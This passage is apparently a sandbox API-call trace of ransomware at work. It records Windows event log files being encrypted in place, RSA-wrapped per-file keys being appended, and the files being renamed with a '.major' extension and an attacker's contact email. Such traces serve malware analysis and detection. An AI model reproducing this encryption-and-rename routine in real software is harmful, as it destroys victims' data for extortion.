(HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.034] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Kd0x1+2d6aAlY1ckOx73eKEs2IkUeG5Xeu6vgw57zNpSd4tR9+yDQCWD3s/UMqIo\njgu/SCRXJKwrMhsJNdO7kSgTFdn6EqJ+HIQZS36FrI7L0fN+uE4MnE0oCD5ttic3\ngZcc6l8sykz8VtBd3b3i0D9pko6NX9bLF8+9H9/ae51poCLX+uzKBeqFfih5RLoX\nh7EYc6NB4VSy0/nIzlThI+QIwivh+WRmXsXamzuigNrmbpKZBfe6qGg3Gw3oFb/Q\nt+fJ6YhBNYaYElDkDvr8Ys7nYJrTJmtrFegaBy8ftTnBAEGF1txHv1290tpojw/Q\nL7J3io63DcfoJXt63KEEnw==\n", pcchString=0x2e3f9a8) returned 1 [0127.034] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.035] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.035] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.035] CloseHandle (hObject=0x460) returned 1 [0127.037] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.037] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b07d0 | out: hHeap=0x570000) returned 1 [0127.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0127.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0127.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0127.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0127.039] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0127.039] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.039] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0127.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0127.040] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.040] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.040] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.134] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.134] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.134] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.139] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.140] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.140] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.140] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.142] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.142] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="7SzBF6eYt5xNnQqk05ipxjdbna/iuM45zXvj0F85YLv/iv7uVMwHvOJA4joFsvwB\nVnDFTRhnvqccaW1ix8csFakraGkN9kSYK8jizzwCXb2ZFhDlmDfHlet64uEJDV0t\nHjPfzVs61Xp5BZz8Twhdl0l2H7w8gZGCYiag7PJYmMDPZf26lvtCq/7xaUrG4W5F\n/qg51hMpYKWjA3yJJOzjt9wjj+cDCAywWbopbs+hljtNNs7sWpLv4lDfngA5onyN\nWdcdHRdUds17Z/iXnqh39ed6dpu220Btn7a9vJ0Ql2rRftp1zyg2hGHQaX5hak2z\nvA+7vqEzxp8XevkP9wTEXA==\n", pcchString=0x2e3f9a8) returned 1 [0127.142] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.142] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.142] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.142] CloseHandle (hObject=0x460) returned 1 [0127.147] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.147] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0127.149] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0127.150] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0127.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0127.150] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0127.150] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.150] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0127.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5b5a90 [0127.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b5b48 [0127.151] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.151] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.151] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0127.151] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3146020 [0127.152] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x325e020 [0127.152] ReadFile (in: hFile=0x460, lpBuffer=0x3146020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3146020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0127.260] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.260] WriteFile (in: hFile=0x460, lpBuffer=0x325e020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x325e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0127.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3146020 | out: hHeap=0x570000) returned 1 [0127.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x325e020 | out: hHeap=0x570000) returned 1 [0127.267] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0127.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.267] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5c58 [0127.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5c58, pcchString=0x2e3f9a8 | out: pszString="DvapIMGR8KIySvy3tMBp2FbhHa+YMOBKP1BjRk9fpzq1MBg1nuc4/bF/I9ObeRXl\nHVC2KnsJjcEGhKtTlVMa7SashddVmoQ7HmwqSEk6XNHL+PocUKdMfI/CMcudmz6z\nM25Mg1owLr53Mly6WzBF5+QxWLW8j1vtP0ZNM3bPpJblOS7typLCwWtlWmSJ6xpY\nXYgkIBg/Bz0KoRcFN5iD3X+XuWB6bTqmbbksyAdxS89Ziz3VKNhsaJLjUsJGY0ea\ndm4URgN7nae3csMivwsL1x9/awpAE00dQEbFKfybzQKrGWB+lNFiLm17WhuZl0sw\nQF3DFtgbKy87ZFZF7ebrNw==\n", pcchString=0x2e3f9a8) returned 1 [0127.268] WriteFile (in: hFile=0x460, lpBuffer=0x5b5c58*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5c58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.268] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.268] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.268] CloseHandle (hObject=0x460) returned 1 [0127.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5c58 | out: hHeap=0x570000) returned 1 [0127.288] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b48 | out: hHeap=0x570000) returned 1 [0127.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0127.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e98 | out: hHeap=0x570000) returned 1 [0127.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0127.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0127.290] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.290] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0127.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdda8 [0127.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0127.290] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.291] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.291] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.305] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.305] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.309] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.309] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.310] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Zpk/LQGs2GuMyOIyIJnkZOBrv06FmPgQPprDiZNMYYgUv/GUjqchlqkc+15Ke/Dj\ns1nyLl+LbHJqDlCk2QcLIWRF2pi2qsxqsBO0NFCdOnK7UbbCdSMpTOeLaxWdDLWN\nHAQLGY4nLgJZC0QIhMv77jMIYQZ8ZXxWIASWaZF1Yl+WQPsQcZ5Yk2+IeRgoA2Iz\n8Z3MxuOHR/5wuXBRFoXzOKIByxdtqPLpk046noxdcyWJ2FWzcttOARPSLEIFPrxe\nui2K2B9/h68Y8UG6GOChhKZyC0HVgPFULWsfXAKC5WHYlo2eFk1VNSPNvj0atq68\ni3WylYJOGmrDWE5g8KG3Lw==\n", pcchString=0x2e3f9a8) returned 1 [0127.311] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.311] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.312] CloseHandle (hObject=0x460) returned 1 [0127.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.314] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0127.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0127.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0127.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0127.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0127.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0127.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0127.316] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0127.316] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", dwFileAttributes=0x80) returned 1 [0127.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0127.316] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0127.316] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0127.316] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0127.317] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0127.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0127.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0127.317] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.353] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.353] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0127.354] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0127.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0127.357] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0127.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.357] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0127.358] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0127.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0127.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="EW8/6MSW4pV2BXUCIJh61veLai+bUMuR0r8opZMRAjbO9hqXq8/zuHwS3Uw+zpap\n/HXCrNhV5JcibM02yh4txJ0DAJrtKp71DO66WDdvXTv7QrGn/Skhc5RKvSx+VE3y\nyCMWGPFMJ/5kYxCJWRCZAlcjxzYujhstmLmYG/2RYWj0ormNCZt2Gh6QoNiCLUqn\nimJL5Kf/HMrkkx/jkD34bLmJoyzEtta1cbiKMOlYMxLOe6e/crJHdQP1+6a5k+uH\npmhDtiow5w2NXkPJCNl/okXga+zEAT1bHsPKmc7rp9aBU52jqhXJpE6jMbdpNydU\n0k8IGBW/C4cHvzzhKQ8llg==\n", pcchString=0x2e3f9a8) returned 1 [0127.360] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0127.360] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0127.360] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0127.360] CloseHandle (hObject=0x460) returned 1 [0127.363] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0127.363] MoveFileExW 